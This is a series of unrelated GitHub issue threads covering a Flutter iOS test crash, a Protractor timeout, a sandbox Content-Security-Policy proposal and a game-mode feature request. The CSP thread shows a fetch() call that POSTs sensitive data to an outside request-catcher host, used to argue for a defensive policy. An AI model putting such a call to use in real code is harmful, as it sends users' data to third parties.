2020-09-09T20:53:39.470750: stdout: [        ]   #22     Invoker._onRun.<anonymous closure>.<anonymous closure>.<anonymous closure> (package:test_api/src/backend/invoker.dart)
2020-09-09T20:53:39.470830: stdout: [        ]   #23     _rootRun (dart:async/zone.dart:1190:13)
2020-09-09T20:53:39.470907: stdout: [        ]   #24     _CustomZone.run (dart:async/zone.dart:1093:19)
2020-09-09T20:53:39.470976: stdout: [        ]   #25     _runZoned (dart:async/zone.dart:1630:10)
2020-09-09T20:53:39.471067: stdout: [        ]   #26     runZoned (dart:async/zone.dart:1550:10)
2020-09-09T20:53:39.471151: stdout: [        ]   #27     Invoker._onRun.<anonymous closure>.<anonymous closure> (package:test_api/src/backend/invoker.dart:370:9)
2020-09-09T20:53:39.471235: stdout: [        ]   #28     Invoker._guardIfGuarded (package:test_api/src/backend/invoker.dart:415:15)
2020-09-09T20:53:39.471312: stdout: [        ]   #29     Invoker._onRun.<anonymous closure> (package:test_api/src/backend/invoker.dart:369:7)
2020-09-09T20:53:39.471384: stdout: [        ]   #30     Chain.capture.<anonymous closure> (package:stack_trace/src/chain.dart:104:24)
2020-09-09T20:53:39.471475: stdout: [        ]   #31     _rootRun (dart:async/zone.dart:1190:13)
2020-09-09T20:53:39.471542: stdout: [        ]   #32     _CustomZone.run (dart:async/zone.dart:1093:19)
2020-09-09T20:53:39.471614: stdout: [        ]   #33     _runZoned (dart:async/zone.dart:1630:10)
2020-09-09T20:53:39.471705: stdout: [        ]   #34     runZoned (dart:async/zone.dart:1550:10)
2020-09-09T20:53:39.471787: stdout: [        ]   #35     Chain.capture (package:stack_trace/src/chain.dart:102:12)
2020-09-09T20:53:39.471864: stdout: [        ]   #36     Invoker._onRun (package:test_api/src/backend/invoker.dart:368:11)
2020-09-09T20:53:39.472007: stdout: [        ]   #37     LiveTestController.run (package:test_api/src/backend/live_test_controller.dart:153:11)
stdout: [        ]   #38     new Future.microtask.<anonymous closure> (dart:async/future.dart:201:37)
2020-09-09T20:53:39.472144: stdout: [        ]   #39     _rootRun (dart:async/zone.dart:1182:47)
2020-09-09T20:53:39.472275: stdout: [        ]   #40     _CustomZone.run (dart:async/zone.dart:1093:19)
stdout: [        ]   #41     _CustomZone.runGuarded (dart:async/zone.dart:997:7)
2020-09-09T20:53:39.472408: stdout: [        ]   #42     _CustomZone.bindCallbackGuarded.<anonymous closure> (dart:async/zone.dart:1037:23)
stdout: [        ]   #43     _rootRun (dart:async/zone.dart:1190:13)
2020-09-09T20:53:39.472588: stdout: [        ]   #44     _CustomZone.run (dart:async/zone.dart:1093:19)
stdout: [        ]   #45     _CustomZone.runGuarded (dart:async/zone.dart:997:7)
2020-09-09T20:53:39.472749: stdout: [        ]   #46     _CustomZone.bindCallbackGuarded.<anonymous closure> (dart:async/zone.dart:1037:23)
stdout: [        ]   #47     _microtaskLoop (dart:async/schedule_microtask.dart:41:21)
2020-09-09T20:53:39.472901: stdout: [        ]   #48     _startMicrotaskLoop (dart:async/schedule_microtask.dart:50:5)
stdout: [        ]   #49     _runPendingImmediateCallback (dart:isolate-patch/isolate_patch.dart:118:13)
2020-09-09T20:53:39.473064: stdout: [        ]   #50     _Timer._runTimers (dart:isolate-patch/timer_impl.dart:404:11)
2020-09-09T20:53:39.473159: stdout: [        ]   #51     _Timer._handleMessage (dart:isolate-patch/timer_impl.dart:428:5)
2020-09-09T20:53:39.473309: stdout: [        ]   #52     _RawReceivePortImpl._handleMessage (dart:isolate-patch/isolate_patch.dart:168:12)
2020-09-09T20:53:39.485391: stdout: [  +11 ms]   package:flutter_driver/src/driver/vmservice_driver.dart 345:7  VMServiceFlutterDriver.sendCommand
stdout: [        ]   ===== asynchronous gap ===========================
stdout: [        ]   dart:async/zone.dart 1129:19                                   _CustomZone.registerBinaryCallback
2020-09-09T20:53:39.485779: stdout: [        ]   dart:async-patch/async_patch.dart 94:8                         _asyncErrorWrapperHelper
stdout: [        ]   package:test_api/src/backend/invoker.dart                      Invoker.waitForOutstandingCallbacks.<fn>
stdout: [        ]   dart:async/zone.dart 1190:13                                   _rootRun
stdout: [        ]   dart:async/zone.dart 1093:19                                   _CustomZone.run
stdout: [        ]   dart:async/zone.dart 1630:10                                   _runZoned
stdout: [        ]   dart:async/zone.dart 1550:10                                   runZoned
2020-09-09T20:53:39.485975: stdout: [        ]   package:test_api/src/backend/invoker.dart 228:5                Invoker.waitForOutstandingCallbacks
stdout: [        ]   package:test_api/src/backend/invoker.dart 383:17               Invoker._onRun.<fn>.<fn>.<fn>
2020-09-09T20:53:39.486131: stdout: [        ]   ===== asynchronous gap ===========================
stdout: [        ]   dart:async/zone.dart 1121:19                                   _CustomZone.registerUnaryCallback
2020-09-09T20:53:39.486260: stdout: [        ]   dart:async-patch/async_patch.dart 83:23                        _asyncThenWrapperHelper
stdout: [        ]   package:test_api/src/backend/invoker.dart                      Invoker._onRun.<fn>.<fn>.<fn>
2020-09-09T20:53:39.486515: stdout: [        ]   dart:async/zone.dart 1190:13                                   _rootRun
2020-09-09T20:53:39.486620: stdout: [        ]   dart:async/zone.dart 1093:19                                   _CustomZone.run
2020-09-09T20:53:39.486680: stdout: [        ]   dart:async/zone.dart 1630:10                                   _runZoned
2020-09-09T20:53:39.486751: stdout: [        ]   dart:async/zone.dart 1550:10                                   runZoned
2020-09-09T20:53:39.486835: stdout: [        ]   package:test_api/src/backend/invoker.dart 370:9                Invoker._onRun.<fn>.<fn>
2020-09-09T20:53:39.486893: stdout: [        ]   package:test_api/src/backend/invoker.dart 415:15               Invoker._guardIfGuarded
2020-09-09T20:53:39.487173: stdout: [        ]   package:test_api/src/backend/invoker.dart 369:7                Invoker._onRun.<fn>
stdout: [        ]   package:stack_trace/src/chain.dart 104:24                      Chain.capture.<fn>
stdout: [        ]   dart:async/zone.dart 1190:13                                   _rootRun
2020-09-09T20:53:39.487227: stdout: [        ]   dart:async/zone.dart 1093:19                                   _CustomZone.run
2020-09-09T20:53:39.487275: stdout: [        ]   dart:async/zone.dart 1630:10                                   _runZoned
2020-09-09T20:53:39.487389: stdout: [        ]   dart:async/zone.dart 1550:10                                   runZoned
2020-09-09T20:53:39.487685: stdout: [        ]   package:stack_trace/src/chain.dart 102:12                      Chain.capture
stdout: [        ]   package:test_api/src/backend/invoker.dart 368:11               Invoker._onRun
stdout: [        ]   package:test_api/src/backend/live_test_controller.dart 153:11  LiveTestController.run
2020-09-09T20:53:39.487795: stdout: [        ]   dart:async/future.dart 201:37                                  new Future.microtask.<fn>
2020-09-09T20:53:39.487865: stdout: [        ]   dart:async/zone.dart 1182:47                                   _rootRun
2020-09-09T20:53:39.487953: stdout: [        ]   dart:async/zone.dart 1093:19                                   _CustomZone.run
2020-09-09T20:53:39.488054: stdout: [        ]   dart:async/zone.dart 997:7                                     _CustomZone.runGuarded
2020-09-09T20:53:39.488128: stdout: [        ]   dart:async/zone.dart 1037:23                                   _CustomZone.bindCallbackGuarded.<fn>
2020-09-09T20:53:39.488208: stdout: [        ]   dart:async/zone.dart 1190:13                                   _rootRun
2020-09-09T20:53:39.488290: stdout: [        ]   dart:async/zone.dart 1093:19                                   _CustomZone.run
2020-09-09T20:53:39.488363: stdout: [        ]   dart:async/zone.dart 997:7                                     _CustomZone.runGuarded
2020-09-09T20:53:39.488425: stdout: [        ]   dart:async/zone.dart 1037:23                                   _CustomZone.bindCallbackGuarded.<fn>
2020-09-09T20:53:39.488516: stdout: [        ]   dart:async/schedule_microtask.dart 41:21                       _microtaskLoop
2020-09-09T20:53:39.488593: stdout: [        ]   dart:async/schedule_microtask.dart 50:5                        _startMicrotaskLoop
2020-09-09T20:53:39.488684: stdout: [        ]   dart:isolate-patch/isolate_patch.dart 118:13                   _runPendingImmediateCallback
2020-09-09T20:53:39.488756: stdout: [        ]   dart:isolate-patch/timer_impl.dart 404:11                      _Timer._runTimers
2020-09-09T20:53:39.488839: stdout: [        ]   dart:isolate-patch/timer_impl.dart 428:5                       _Timer._handleMessage
2020-09-09T20:53:39.488944: stdout: [        ]   dart:isolate-patch/isolate_patch.dart 168:12                   _RawReceivePortImpl._handleMessage
2020-09-09T20:53:39.490432: stderr: [   +1 ms] VMServiceFlutterDriver: Instance of '_WebSocketImpl' is closed with an unexpected code 1005
2020-09-09T20:53:39.507890: stdout: [  +17 ms] 00:03 +0 -1: scrolling performance test (tearDownAll)
2020-09-09T20:53:39.517733: stdout: [   +9 ms] 00:03 +0 -1: Some tests failed.
2020-09-09T20:53:39.519351: stderr: [   +1 ms] Unhandled exception:
stderr: [        ] Dummy exception to set exit code.

Lower the issue to P1 as we marked the test as flaky to un-block the tree.

Updates: the crash is caused by enabling thread merger: https://github.com/flutter/engine/commit/e7136c3f5960f34b27579e893454886db105e88b
I'm going to debug the root cause and work on a fix.

@cyanglaz is this fixed by https://github.com/flutter/engine/pull/21059?

Updated:
It is not fixed by flutter/engine#21059
Looks like engine log is not printing for me so it is hard to debug. One thing I find is if I remove the animating overlay widget, the crash doesn't happen.
So looks like it might be related to how the overlay works with thread merging while app is starting up.
It might also be related to constant submitting frames when the threads are merged.

If you manually run the app multiple times (without flutter drive), does it still happen?  If it does, what about launching it with Xcode until it crashes?  This way you can jump right to the code that caused the crash.

@blasten The crash didn't happen for me on flutter run, only drive.

@blasten Tried with flutter drive while disabling the scrolling, no crashes.

It sounds like it would get a crash if you are able to simulate a user scrolling while the app is launched from Xcode.

Able to get some logs and it looks like the it crashed on https://github.com/flutter/engine/blob/master/shell/platform/darwin/ios/framework/Source/FlutterPlatformViews.mm#L616
Runner(2362,0x100fa1880) malloc: Incorrect checksum for freed object 0x15980ec00: probably modified after being freed.
Corrupt value: 0x5424b4797b
Runner(2362,0x100fa1880) malloc: *** set a breakpoint in malloc_error_break to debug
Process 2362 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
    frame #0: 0x000000018f77cdf0 libsystem_kernel.dylib`__pthread_kill + 8
libsystem_kernel.dylib`__pthread_kill:
->  0x18f77cdf0 <+8>:  b.lo   0x18f77ce0c               ; <+36>
    0x18f77cdf4 <+12>: stp    x29, x30, [sp, #-0x10]!
    0x18f77cdf8 <+16>: mov    x29, sp
    0x18f77cdfc <+20>: bl     0x18f75b0e8               ; cerror_nocancel
Target 0: (Runner) stopped.

The crash happened several frames after the thread merging.

@cyanglaz: Are you still working on this? I don't think this is blocking an engine roll as indicated in the original comment. I am lowering the priority of this issue but feel to update your assignment too if you are not working on this.

Yes I'm still working on this. This is not blocking engine-roll so I lowered it from P0 to P1. However, this is still high priority as we want to fix the underlining issue and revive the test as early as possible. Maybe P2?

The devicelab logs include crashes now:
2020-09-21T12:38:06.084210: stdout: [ +320 ms] Process 55277 stopped
2020-09-21T12:38:06.084316: stdout: [        ] * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbf80000000000009)
2020-09-21T12:38:06.084408: stdout: [        ]     frame #0: 0x0000000103034484 Flutter`dart::TimelineEvent::Init(dart::TimelineEvent::EventType, char const*) + 148
2020-09-21T12:38:06.084573: stdout: [        ] Flutter`dart::TimelineEvent::Init:
2020-09-21T12:38:06.084837: stdout: [        ] ->  0x103034484 <+148>: ldr    x0, [x0, #0x8]
stdout: [        ]     0x103034488 <+152>: bl     0x10309923c               ; symbol stub for: free
2020-09-21T12:38:06.085012: stdout: [        ]     0x10303448c <+156>: ldr    x8, [x19, #0x28]
stdout: [        ]     0x103034490 <+160>: cmp    x8, #0x2                  ; =0x2
2020-09-21T12:38:06.085225: stdout: [        ] Target 0: (Runner) stopped.

platform_views_scroll_perf_ios__timeline_summary_a029e17_1.log

Thanks @jmagman
The logs says it crashed on Flutterdart::TimelineEvent::Init(dart::TimelineEvent::EventType, char const*)`?
I couldn't find this method in either framework or engine code.

It's in the VM: https://github.com/dart-lang/sdk/blob/d33e51df3cda1d8caa0a4a6c006adb7c6aa331ee/runtime/vm/timeline.cc#L565

Run flutter drive without --trace-startup actually fixed the crash.

Since the flake itself is mitigated, moving this to P3 to get it off the weekly checkin list.

The test has been re-enabled. I am actively working on some other p1 issues these days and will not be able to investigate the root cause of this crash any further these days. I will un-assign myself for now and might pick it up later when other p1 issues are fixed.

Note that re-enable the --trace-startup flag will reproduce the crash in about once per 20 runs.

Another instance of a similar crash for non-platform view tests. https://github.com/flutter/flutter/issues/129258

Closing as presumed stale.


unable to run nagrok

it is showing nagrok is unable to run can you tell me whats the problem

Please, give me more details and a minimal failing example.


awesome-linux-resources predates awesome-linux; looks abandoned, but has some perks.

@itech001 also maintains linux6.com

I'm sorry, but his list of random software that could potentially be interesting or not is not really helpful. And since it hasn't been updated in quite a while, I don't see the point of including it here. I highly doubt anyone will benefit from it being included here.
On the other hand, linux6.com looks way more appropriate and useful and I might add it to the Useful Websites section after I have some free time to properly take a closer look at what it offers.


Getting error randomly : function timed out, ensure the promise resolves within 180000 milliseconds

Hello,
We have got an error randomly for 2 weeks. I have not figured it out why. And the biggest problem is once it accrued in some point then the rest of suite got an error as well.
It is so weird because sometime the tests works well but
We use protractor and custom framework is cucumber. We run our suites paralell at the same time.
I have downgraded some libriaries but it have not resolved my problem.
Here is my getting error;
Error: function timed out, ensure the promise resolves within 180000 milliseconds
    at Timeout._onTimeout (/var/lib/jenkins/workspace/E2E/Docker-Selenium/Run-Selenium-Suites/e2e/node_modules/cucumber/src/user_code_runner.js:61:18)
    at listOnTimeout (timers.js:327:15)
    at processTimers (timers.js:271:5)

Bug report

Node Version: 11.10.0
Protractor Version: 5.4.2
Angular Version: -
Browser(s): chrome
Operating System and Version Linux Ubuntu 16
Your protractor configuration file
A relevant example test
Output from running the test
Steps to reproduce the bug
The URL you are running your tests against (if relevant)

Here is my package.json file ;
 "dependencies": {
    "archiver": "^2.1.1",
    "nodemailer": "^4.7.0",
    "protractor-cucumber-framework": "^6.1.1",
    "sprintf-js": "^1.1.2"
  },
  "devDependencies": {
    "babel-plugin-transform-runtime": "^6.23.0",
    "chai": "^4.2.0",
    "chai-as-promised": "^7.1.1",
    "chrome-remote-interface": "^0.27.0",
    "cucumber": "^4.2.1",
    "cucumber-junit": "^1.7.1",
    "cucumber-pretty": "^1.5.0",
    "exceljs": "^1.6.3",
    "exceljs-plus": "0.0.5",
    "fs-extra": "^7.0.1",
    "got": "^9.5.0",
    "grunt": "^1.0.3",
    "grunt-cli": "^1.3.2",
    "grunt-protractor-runner": "^5.0.0",
    "gulp": "^3.9.1",
    "moment-business-days": "^1.1.3",
    "pdfjs-dist": "^2.0.943",
    "protractor": "^5.4.1",
    "protractor-flake": "^3.3.0",
    "protractor-multiple-cucumber-html-reporter-plugin": "^1.8.0",
    "readline-specific": "^1.0.4",
    "readline-promise": "^1.0.3",
    "soap": "^0.25.0",
    "uncaught": "0.0.5",
    "underscore": "^1.9.1",
    "user-info": "^1.0.0",
    "webdriver-manager": "^12.1.0"
  }

Last getting error method block is;
When(/^İhbar kaydı dogrulama altında Yeni Olay Tanımlama seçilir$/, async function () {
    await PageObject.newEvent.click();

    return await WorldPage.aydesAjaxLoading.waitForInvisibilityOf();
});

Here is my Extenders.js spesific method:
protractor.ElementFinder.prototype.waitForInvisibilityOf = async function (timeout) {
    const self = this;
    let _debug = false;
    let isDone = false;
    timeout = timeout || WAITTIMEOUT;
    let seconds = timeout / 1000;
    let style, invisibilityOf, visibilityOf;

    if (await !self.isPresent())
        return;

    //This loop will rotate for 60 times to check If page Is ready after every 1 second.
    //You can replace your value with 60 If you wants to Increase or decrease wait time.
    for (let i = 1; i <= seconds; i++) {
        await browser.sleep(1000);

        style = await self.getAttribute('style');
        invisibilityOf = await style.includes('display: none;');
        visibilityOf = await style.includes('display: block;');

        if (invisibilityOf) {
            if (_debug)
                console.log(i + " second: Element invisible!");
            isDone = true;
        }
        else {
            if (_debug)
                console.log(i + " second: Element NOT invisible!");
        }

        if (seconds === i)
            throw ", Element invisibility timed out after " + timeout + " milliseconds";

        if (!invisibilityOf && !visibilityOf && i > 5) // break for paging is loaded
            break;

        if (isDone) // If element is invisible
            break;
    }
};

Thank you.

This error is coming from CucumberJS. Any particular reason you suspect Protractor to be the problem?
Cucumber throws that error when a single step takes longer than its configured timeout to complete. In your case you've configured it to 180000ms = 3 minutes. I don't immediately see any reason why your script would take that long, but presumably it is doing so.
I suggest switching to Protractor's built-in invisibilityOf implementation. Why make your own implementation when there's already an officially supported one?

Hello GitSage,
Firstly, I suspect protractor because when I added every line to console.log in waitForInvisibilityOf  method. The weird part of it that most case I got an error below line. And also I got promise error on protractor click method as well.
style = await self.getAttribute('style');
In our project structure it does not solve wait loading panel using invisibilityof method so we have to use our workaround solve this problem.
Yesterday I have downgraded nodejs version 11.10 to 10.15. In that case it's working good for now. Little code getting promise resolve error but it has not blocked other test suite.

Hello,
I have figured it out. Downgraded  nodejs from 11.10 to 10.15 to resolve the problem. For 4 days, I have not got an error.
Maybe someone helps this information.
Regards...


Improve Jail Isolation via Content-Security-Policy

Would you be open to adding a Content-Security-Policy to the frame file?
My scenario is:

A user writes a script that customizes the workflow of a form.
These scripts can only do certain actions (functions that are exported into the sandbox).
One of these actions will retrieve data from the form so decisions can be made based on the form data
The user using the form is not necessarily the person who wrote the script. The script will be part of the configuration of the system mostly likely made by someone with elevated privileges (although not necessarily access to everything) while the script is executed when a normal user is using the application

My concern is if this elevated user has their credentials compromised the attacker could write a script that gathers all the data on the form and exfiltrates it to a 3rd party service. Data the compromised account may not normally have access to (but the regular users have access to).
I'm not sure to what extent this threat can be eliminated but it seems we can at least reduce the impact by telling the browser the script should not be able to contact 3rd party services via a content security policy.
I think the following policy should be fairly locked down:
// Default to allow nothing and just open up what we need
default-src 'none';

// Allows iframe to load worker via `blob:` URI
worker-src blob:;

// 'self' allows local scripts to be loaded (to get the JS files jailed needs)
// 'unsafe-eval' allows the jailed script to be evaled (in the jail of course)
script-src 'self' 'unsafe-eval'

This CSP needs to apply to the _frame.html file. Since this file is likely being served as static content modifying the HTTP header will vary depending on deployment environment. Therefore it seems best to add the CSP as a meta tag in the _frame.html file.
If this all sounds good I can create a PR that adds the following meta tag to the _frame.html file:
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; worker-src blob:; script-src 'self' 'unsafe-eval'">

Without this meta tag if I run the following in the demo console my sensitive data is sent to the 3rd party server:
fetch('https://jailed.requestcatcher.com/test', { method: 'POST', body: 'sensitive data' })

With the CSP in place that fetch is denied since the connect policy is not provided and therefore uses the default-src which is set to none.
Before I created a PR I wanted to find out:

Is providing a good CSP in scope for this project?
Does the proposed CSP seem reasonable? I can imagine at some point in the future we might get someone requesting that their user-defined script be able to load fonts or something which the CSP would deny. But I suggest we wait to receive that feedback before opening up the CSP more or making it configurable.
Are there other ways to exfiltrate data out provided to a user-defined script that this CSP does not cover?

@eric-hemasystems I've just done a related experiment: https://github.com/manuel/fully-isolated-web-workers


Implement show-before="time" for monument modes

The time before a mode is over to show it in the Boss Bar. The default time is 60.
https://docs.oc.tc/modules/monument_modes
Need it for the monument modes boss bar. Here's an example of cos(tnt):
<modes boss-bar="true">
	<mode show-before="90s" after="5m" material="iron block" name="`3Dropping an `airon `3supply"/>
	<mode show-before="90s" after="10m" material="diamond block" name="`3Dropping an `airon/diamond `3supply"/>
	<mode show-before="90s" after="15m" material="iron block" name="`3Dropping an `airon `3supply"/>
	<mode show-before="90s" after="20m" material="diamond block" name="`3Dropping an `airon/diamond `3supply"/>
	<mode show-before="90s" after="25m" material="iron block" name="`3Dropping an `airon `3supply"/>
	<mode show-before="90s" after="30m" material="diamond block" name="`3Dropping an `airon/diamond `3supply"/>
	<mode show-before="60s" after="21m" material="diamond block" name="`3All hills gain points `a2x `3faster"/>
</modes>

Nice!

I've implemented it myself https://github.com/Alfalik/CardinalPGM/blob/bossbar/src/main/java/in/twizmwaz/cardinal/module/modules/monumentModes/MonumentModes.java
I'll close when the boss bar be ready.

Added on 857eeab